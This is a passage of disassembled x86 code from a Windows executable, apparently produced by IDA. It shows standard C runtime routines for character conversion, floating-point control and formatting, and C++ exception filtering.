.nsp0:00423B7Ej cmp eax, 2 jnz short loc_423BE7 mov eax, [ebp+1Ch] cmp eax, ebx jnz short loc_423BCF mov eax, dword_4E15B0 ; CODE XREF: .nsp0:00423BE1j loc_423BCF: ; CODE XREF: .nsp0:00423BC8j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push eax call near ptr 0B40000h js short near ptr loc_423BCA+2 lahf ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_423BE7: ; CODE XREF: .nsp0:00423BC1j cmp eax, 1 jnz loc_423C84 cmp [ebp+18h], ebx jnz short loc_423BFD mov eax, dword_4E15C0 mov [ebp+18h], eax loc_423BFD: ; CODE XREF: .nsp0:00423BF3j push ebx push ebx push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] mov eax, [ebp+20h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+18h] call dword_427184 ; MultiByteToWideChar mov [ebp-20h], eax cmp eax, ebx jz short loc_423C84 mov [ebp-4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C1D0 mov [ebp-18h], esp mov esi, esp mov [ebp-24h], esi push edi push ebx push esi call sub_41BC40 add esp, 0Ch jmp short loc_423C53 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor ebx, ebx xor esi, esi loc_423C53: ; CODE XREF: .nsp0:00423C46j or dword ptr [ebp-4], 0FFFFFFFFh cmp esi, ebx jz short loc_423C84 push dword ptr [ebp-20h] push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 1 push dword ptr [ebp+18h] call dword_427184 ; MultiByteToWideChar cmp eax, ebx jz short loc_423C84 push dword ptr [ebp+14h] push eax push esi push dword ptr [ebp+8] call dword_427020 ; GetStringTypeW jmp short loc_423C86 ; --------------------------------------------------------------------------- loc_423C84: ; CODE XREF: .nsp0:00423BEAj ; .nsp0:00423C1Fj ... xor eax, eax loc_423C86: ; CODE XREF: .nsp0:00423C82j lea esp, [ebp-34h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_423C98 proc near ; CODE XREF: sub_41F3EF+61p ; sub_4202AB+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4E1920 jb short loc_423CA7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423CA7: ; CODE XREF: sub_423C98+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4E1820[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423C98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CBE proc near ; CODE XREF: sub_41F504+2D4p ; sub_41F504+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423CCA pop ebp retn ; --------------------------------------------------------------------------- loc_423CCA: ; CODE XREF: sub_423CBE+8j cmp dword_4E15B0, 0 jnz short loc_423CE5 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423D17 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423CE5: ; CODE XREF: sub_423CBE+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_44276C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4E15C0 call dword_427180 ; WideCharToMultiByte test eax, eax jz short loc_423D17 cmp [ebp+arg_0], 0 jz short loc_423D24 loc_423D17: ; CODE XREF: sub_423CBE+1Ej ; sub_423CBE+51j mov dword_4E14F8, 2Ah or eax, 0FFFFFFFFh loc_423D24: ; CODE XREF: sub_423CBE+57j pop ebp retn sub_423CBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423D26 proc near ; CODE XREF: sub_420375+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423D49 cmp [ebp+arg_8], ebx jz short loc_423D49 mov al, [esi] cmp al, bl jnz short loc_423D4F mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423D49 mov [eax], bx loc_423D49: ; CODE XREF: sub_423D26+Cj ; sub_423D26+11j ... xor eax, eax loc_423D4B: ; CODE XREF: sub_423D26+42j ; sub_423D26+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423D4F: ; CODE XREF: sub_423D26+17j cmp dword_4E15B0, ebx jnz short loc_423D6A mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423D65 movzx ax, al mov [ecx], ax loc_423D65: ; CODE XREF: sub_423D26+36j ; sub_423D26+C0j push 1 pop eax jmp short loc_423D4B ; --------------------------------------------------------------------------- loc_423D6A: ; CODE XREF: sub_423D26+2Fj mov ecx, off_442560 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423DC7 mov eax, dword_44276C cmp eax, 1 jle short loc_423DAE cmp [ebp+arg_8], eax jl short loc_423DB8 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4E15C0 call dword_427184 ; MultiByteToWideChar test eax, eax mov eax, dword_44276C jnz short loc_423D4B loc_423DAE: ; CODE XREF: sub_423D26+5Cj cmp [ebp+arg_8], eax jb short loc_423DB8 cmp [esi+1], bl jnz short loc_423D4B loc_423DB8: ; CODE XREF: sub_423D26+61j ; sub_423D26+8Bj ... mov dword_4E14F8, 2Ah or eax, 0FFFFFFFFh jmp short loc_423D4B ; --------------------------------------------------------------------------- loc_423DC7: ; CODE XREF: sub_423D26+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4E15C0 call dword_427184 ; MultiByteToWideChar test eax, eax jnz loc_423D65 jmp short loc_423DB8 sub_423D26 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423DF0 proc near ; CODE XREF: sub_420375+797p ; sub_420375+7E7p cmp cl, 40h jnb short loc_423E0A cmp cl, 20h jnb short loc_423E00 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423E00: ; CODE XREF: sub_423DF0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423E0A: ; CODE XREF: sub_423DF0+3j xor eax, eax xor edx, edx retn sub_423DF0 endp ; =============== S U B R O U T I N E ======================================= sub_423E0F proc near ; CODE XREF: sub_420DEB+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423E5B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423E2D test al, 80h jz short loc_423E5B test al, 2 jnz short loc_423E5B loc_423E2D: ; CODE XREF: sub_423E0F+14j cmp dword ptr [esi+8], 0 jnz short loc_423E3A push esi call sub_423852 pop ecx loc_423E3A: ; CODE XREF: sub_423E0F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423E4A cmp dword ptr [esi+4], 0 jnz short loc_423E5B inc eax mov [esi], eax loc_423E4A: ; CODE XREF: sub_423E0F+30j test byte ptr [esi+0Ch], 40h jz short loc_423E61 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_423E67 inc eax mov [esi], eax loc_423E5B: ; CODE XREF: sub_423E0F+9j ; sub_423E0F+18j ... or eax, 0FFFFFFFFh loc_423E5E: ; CODE XREF: sub_423E0F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_423E61: ; CODE XREF: sub_423E0F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_423E67: ; CODE XREF: sub_423E0F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423E5E sub_423E0F endp ; =============== S U B R O U T I N E ======================================= sub_423E7D proc near ; CODE XREF: sub_4213DB+52p xor eax, eax retn sub_423E7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E80 proc near ; CODE XREF: sub_423EB5+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_423ECB mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_423F5D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_423E80 endp ; =============== S U B R O U T I N E ======================================= sub_423EB5 proc near ; CODE XREF: sub_4216C7+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_423E80 pop ecx pop ecx retn sub_423EB5 endp ; =============== S U B R O U T I N E ======================================= sub_423ECB proc near ; CODE XREF: sub_423E80+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_423EDC push 10h pop eax loc_423EDC: ; CODE XREF: sub_423ECB+Cj test bl, 4 jz short loc_423EE3 or al, 8 loc_423EE3: ; CODE XREF: sub_423ECB+14j test bl, 8 jz short loc_423EEA or al, 4 loc_423EEA: ; CODE XREF: sub_423ECB+1Bj test bl, 10h jz short loc_423EF1 or al, 2 loc_423EF1: ; CODE XREF: sub_423ECB+22j test bl, 20h jz short loc_423EF8 or al, 1 loc_423EF8: ; CODE XREF: sub_423ECB+29j test bl, 2 jz short loc_423F02 or eax, 80000h loc_423F02: ; CODE XREF: sub_423ECB+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_423F3A cmp edx, 400h jz short loc_423F37 cmp edx, 800h jz short loc_423F33 cmp edx, esi jnz short loc_423F3A or eax, edi jmp short loc_423F3A ; --------------------------------------------------------------------------- loc_423F33: ; CODE XREF: sub_423ECB+5Ej or eax, ebp jmp short loc_423F3A ; --------------------------------------------------------------------------- loc_423F37: ; CODE XREF: sub_423ECB+56j or ah, 1 loc_423F3A: ; CODE XREF: sub_423ECB+4Ej ; sub_423ECB+62j ... and ecx, edi pop esi jz short loc_423F4A cmp ecx, ebp jnz short loc_423F4F or eax, 10000h jmp short loc_423F4F ; --------------------------------------------------------------------------- loc_423F4A: ; CODE XREF: sub_423ECB+72j or eax, 20000h loc_423F4F: ; CODE XREF: sub_423ECB+76j ; sub_423ECB+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_423F5C or eax, 40000h locret_423F5C: ; CODE XREF: sub_423ECB+8Aj retn sub_423ECB endp ; =============== S U B R O U T I N E ======================================= sub_423F5D proc near ; CODE XREF: sub_423E80+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_423F6D push 1 pop eax loc_423F6D: ; CODE XREF: sub_423F5D+Bj test bl, 8 jz short loc_423F74 or al, 4 loc_423F74: ; CODE XREF: sub_423F5D+13j test bl, 4 jz short loc_423F7B or al, 8 loc_423F7B: ; CODE XREF: sub_423F5D+1Aj test bl, 2 jz short loc_423F82 or al, 10h loc_423F82: ; CODE XREF: sub_423F5D+21j test bl, 1 jz short loc_423F89 or al, 20h loc_423F89: ; CODE XREF: sub_423F5D+28j test ebx, 80000h jz short loc_423F93 or al, 2 loc_423F93: ; CODE XREF: sub_423F5D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_423FC0 cmp ecx, 100h jz short loc_423FBD cmp ecx, esi jz short loc_423FB8 cmp ecx, edx jnz short loc_423FC0 or ah, 0Ch jmp short loc_423FC0 ; --------------------------------------------------------------------------- loc_423FB8: ; CODE XREF: sub_423F5D+50j or ah, 8 jmp short loc_423FC0 ; --------------------------------------------------------------------------- loc_423FBD: ; CODE XREF: sub_423F5D+4Cj or ah, 4 loc_423FC0: ; CODE XREF: sub_423F5D+44j ; sub_423F5D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_423FD6 cmp ecx, 10000h jnz short loc_423FD8 or eax, esi jmp short loc_423FD8 ; --------------------------------------------------------------------------- loc_423FD6: ; CODE XREF: sub_423F5D+6Bj or eax, edx loc_423FD8: ; CODE XREF: sub_423F5D+73j ; sub_423F5D+77j pop esi test ebx, 40000h pop ebx jz short locret_423FE5 or ah, 10h locret_423FE5: ; CODE XREF: sub_423F5D+83j retn sub_423F5D endp ; =============== S U B R O U T I N E ======================================= sub_423FE6 proc near ; CODE XREF: sub_424085+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42402B inc esi cmp esi, 3 jge short loc_424026 lea eax, [eax+esi*4] loc_424018: ; CODE XREF: sub_423FE6+3Ej cmp dword ptr [eax], 0 jnz short loc_42402B inc esi add eax, 4 cmp esi, 3 jl short loc_424018 loc_424026: ; CODE XREF: sub_423FE6+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42402B: ; CODE XREF: sub_423FE6+27j ; sub_423FE6+35j xor eax, eax pop esi retn sub_423FE6 endp ; =============== S U B R O U T I N E ======================================= sub_42402F proc near ; CODE XREF: sub_424085+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_424E7C add esp, 0Ch dec esi js short loc_424081 lea edi, [ebx+esi*4] loc_424068: ; CODE XREF: sub_42402F+50j test eax, eax jz short loc_424081 push edi push 1 push dword ptr [edi] call sub_424E7C add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424068 loc_424081: ; CODE XREF: sub_42402F+34j ; sub_42402F+3Bj pop edi pop esi pop ebx retn sub_42402F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424085 proc near ; CODE XREF: sub_4241E0+81p ; sub_4241E0+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4240E9 inc ebx push ebx push [ebp+arg_0] call sub_423FE6 pop ecx test eax, eax pop ecx jnz short loc_4240E6 push edi push [ebp+arg_0] call sub_42402F pop ecx mov [ebp+var_4], eax pop ecx loc_4240E6: ; CODE XREF: sub_424085+51j mov eax, [ebp+arg_4] loc_4240E9: ; CODE XREF: sub_424085+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424109 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424109: ; CODE XREF: sub_424085+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424085 endp ; =============== S U B R O U T I N E ======================================= sub_424111 proc near ; CODE XREF: sub_4241E0+75p ; sub_4241E0+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_42411F: ; CODE XREF: sub_424111+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_42411F pop esi retn sub_424111 endp ; =============== S U B R O U T I N E ======================================= sub_42412C proc near ; CODE XREF: sub_4241E0+5Fp ; sub_4241E0+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42412C endp ; =============== S U B R O U T I N E ======================================= sub_424138 proc near ; CODE XREF: sub_4241E0+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_42413E: ; CODE XREF: sub_424138+12j cmp dword ptr [eax], 0 jnz short loc_424150 inc ecx add eax, 4 cmp ecx, 3 jl short loc_42413E push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424150: ; CODE XREF: sub_424138+9j xor eax, eax retn sub_424138 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424153 proc near ; CODE XREF: sub_4241E0+C0p ; sub_4241E0+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424189: ; CODE XREF: sub_424153+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424189 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4241BB: ; CODE XREF: sub_424153+86j cmp ebx, edi jl short loc_4241CE mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4241D5 ; --------------------------------------------------------------------------- loc_4241CE: ; CODE XREF: sub_424153+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4241D5: ; CODE XREF: sub_424153+79j dec ebx sub ecx, 4 jns short loc_4241BB pop edi pop esi pop ebx leave retn sub_424153 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4241E0 proc near ; CODE XREF: sub_42434C+Dp ; sub_424362+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42424D lea eax, [ebp+var_C] xor esi, esi push eax call sub_424138 test eax, eax pop ecx jnz loc_42430C lea eax, [ebp+var_C] push eax call sub_42412C pop ecx loc_424245: ; CODE XREF: sub_4241E0+E4j push 2 loc_424247: ; CODE XREF: sub_4241E0+110j pop eax jmp loc_42430E ; --------------------------------------------------------------------------- loc_42424D: ; CODE XREF: sub_4241E0+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424111 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424085 add esp, 10h test eax, eax jz short loc_42426E inc ebx loc_42426E: ; CODE XREF: sub_4241E0+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424286 lea eax, [ebp+var_C] push eax call sub_42412C pop ecx jmp short loc_4242C2 ; --------------------------------------------------------------------------- loc_424286: ; CODE XREF: sub_4241E0+98j cmp ebx, eax jg short loc_4242C9 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424111 lea eax, [ebp+var_C] push esi push eax call sub_424153 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424085 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424153 add esp, 20h loc_4242C2: ; CODE XREF: sub_4241E0+A4j xor esi, esi jmp loc_424245 ; --------------------------------------------------------------------------- loc_4242C9: ; CODE XREF: sub_4241E0+A8j cmp ebx, [edi] jl short loc_4242F5 lea eax, [ebp+var_C] push eax call sub_42412C push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424153 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424247 ; --------------------------------------------------------------------------- loc_4242F5: ; CODE XREF: sub_4241E0+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424153 pop ecx pop ecx loc_42430C: ; CODE XREF: sub_4241E0+55j xor eax, eax loc_42430E: ; CODE XREF: sub_4241E0+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42433D mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424347 ; --------------------------------------------------------------------------- loc_42433D: ; CODE XREF: sub_4241E0+14Ej cmp edi, 20h jnz short loc_424347 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424347: ; CODE XREF: sub_4241E0+15Bj ; sub_4241E0+160j pop edi pop esi pop ebx leave retn sub_4241E0 endp ; =============== S U B R O U T I N E ======================================= sub_42434C proc near ; CODE XREF: sub_424378+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_442EE8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4241E0 add esp, 0Ch retn sub_42434C endp ; =============== S U B R O U T I N E ======================================= sub_424362 proc near ; CODE XREF: sub_4243A5+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_442F00 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4241E0 add esp, 0Ch retn sub_424362 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424378 proc near ; CODE XREF: sub_421800+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_42501D push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42434C add esp, 24h leave retn sub_424378 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4243A5 proc near ; CODE XREF: sub_421800+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_42501D push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424362 add esp, 24h leave retn sub_4243A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4243D2 proc near ; CODE XREF: sub_42183E+65p ; sub_421942+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_42440F mov [ebp+arg_0], ebx xor ebx, ebx loc_4243F5: ; CODE XREF: sub_4243D2+38j mov dl, [ecx] test dl, dl jz short loc_424401 movsx edx, dl inc ecx jmp short loc_424404 ; --------------------------------------------------------------------------- loc_424401: ; CODE XREF: sub_4243D2+27j push 30h pop edx loc_424404: ; CODE XREF: sub_4243D2+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4243F5 mov edx, [ebp+arg_8] loc_42440F: ; CODE XREF: sub_4243D2+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424428 cmp byte ptr [ecx], 35h jl short loc_424428 loc_42441B: ; CODE XREF: sub_4243D2+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424426 mov byte ptr [eax], 30h jmp short loc_42441B ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_4243D2+4Dj inc byte ptr [eax] loc_424428: ; CODE XREF: sub_4243D2+42j ; sub_4243D2+47j cmp byte ptr [esi], 31h jnz short loc_424432 inc dword ptr [edx+4] jmp short loc_424444 ; --------------------------------------------------------------------------- loc_424432: ; CODE XREF: sub_4243D2+59j push edi call sub_41B890 inc eax push eax push edi push esi call sub_41D330 add esp, 10h loc_424444: ; CODE XREF: sub_4243D2+5Ej pop edi pop esi pop ebx pop ebp retn sub_4243D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424449 proc near ; CODE XREF: sub_42183E+3Fp ; sub_421942+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4244AD pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4E16E8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4254EE mov dword_4E1710, eax add esp, 18h movsx eax, byte_4E16EA mov dword_4E1708, eax pop edi movsx eax, word_4E16E8 mov dword_4E170C, eax mov dword_4E1714, offset dword_4E16EC mov eax, offset dword_4E1708 pop esi leave retn sub_424449 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244AD proc near ; CODE XREF: sub_424449+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4244FB cmp ebx, edi jz short loc_4244F4 lea edi, [ecx+3C00h] jmp short loc_42451C ; --------------------------------------------------------------------------- loc_4244F4: ; CODE XREF: sub_4244AD+3Dj mov edi, 7FFFh jmp short loc_42451C ; --------------------------------------------------------------------------- loc_4244FB: ; CODE XREF: sub_4244AD+39j xor ebx, ebx cmp eax, ebx jnz short loc_424513 cmp edx, ebx jnz short loc_424513 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_42455E ; --------------------------------------------------------------------------- loc_424513: ; CODE XREF: sub_4244AD+52j ; sub_4244AD+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42451C: ; CODE XREF: sub_4244AD+45j ; sub_4244AD+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424534: ; CODE XREF: sub_4244AD+A6j test ecx, esi jnz short loc_424555 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424534 ; --------------------------------------------------------------------------- loc_424555: ; CODE XREF: sub_4244AD+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_42455E: ; CODE XREF: sub_4244AD+64j pop edi pop esi pop ebx leave retn sub_4244AD endp ; =============== S U B R O U T I N E ======================================= sub_424563 proc near ; CODE XREF: sub_41F504+3AAp ; sub_41F504+3CBp ... push 2 call sub_41E0F9 pop ecx retn sub_424563 endp ; =============== S U B R O U T I N E ======================================= sub_42456C proc near ; DATA XREF: sub_4245B2o ; .nsp0:00442B20o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42458F cmp dword ptr [eax+10h], 3 jnz short loc_42458F cmp dword ptr [eax+14h], 19930520h jnz short loc_42458F jmp sub_4223CC ; --------------------------------------------------------------------------- loc_42458F: ; CODE XREF: sub_42456C+Dj ; sub_42456C+13j ... mov eax, dword_4E1718 test eax, eax jz short loc_4245AC push eax call sub_424608 test eax, eax pop ecx jz short loc_4245AC push esi call dword_4E1718 jmp short loc_4245AE ; --------------------------------------------------------------------------- loc_4245AC: ; CODE XREF: sub_42456C+2Aj ; sub_42456C+35j xor eax, eax loc_4245AE: ; CODE XREF: sub_42456C+3Ej pop esi retn 4 